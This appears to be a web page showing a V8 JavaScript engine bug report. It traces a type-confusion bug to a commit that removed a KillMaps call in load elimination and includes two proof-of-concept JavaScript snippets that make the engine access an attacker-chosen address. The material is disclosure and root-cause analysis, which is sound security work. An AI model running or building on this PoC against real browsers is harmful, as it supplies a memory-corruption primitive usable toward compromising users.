扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
/* I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { ... if (object_maps.contains(ZoneHandleSet<Map>(source_map))) { object_maps.remove(source_map, zone()); object_maps.insert(target_map, zone()); -AliasStateInfo alias_info(state, object, source_map); -state = state->KillMaps(alias_info, zone()); -state = state->AddMaps(object, object_maps, zone()); +state = state->SetMaps(object, object_maps, zone()); } ... } I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly. A PoC demonstrating type confusion: */ function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; // CheckMap removed, type confusion b[0] = 9.431092e-317;// 0x1234567 } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); %OptimizeFunctionOnNextCall(opt); opt(arr2, arr2); arr2[0].x// access 0x1234566 Without natives syntax: function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; b[0] = 9.431092e-317;// 0x1234567 // Force optimization for (let i = 0; i < 10000000; i++) { } } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); opt(arr2, arr2); arr2[0].x// access 0x1234566 |
体验盒子
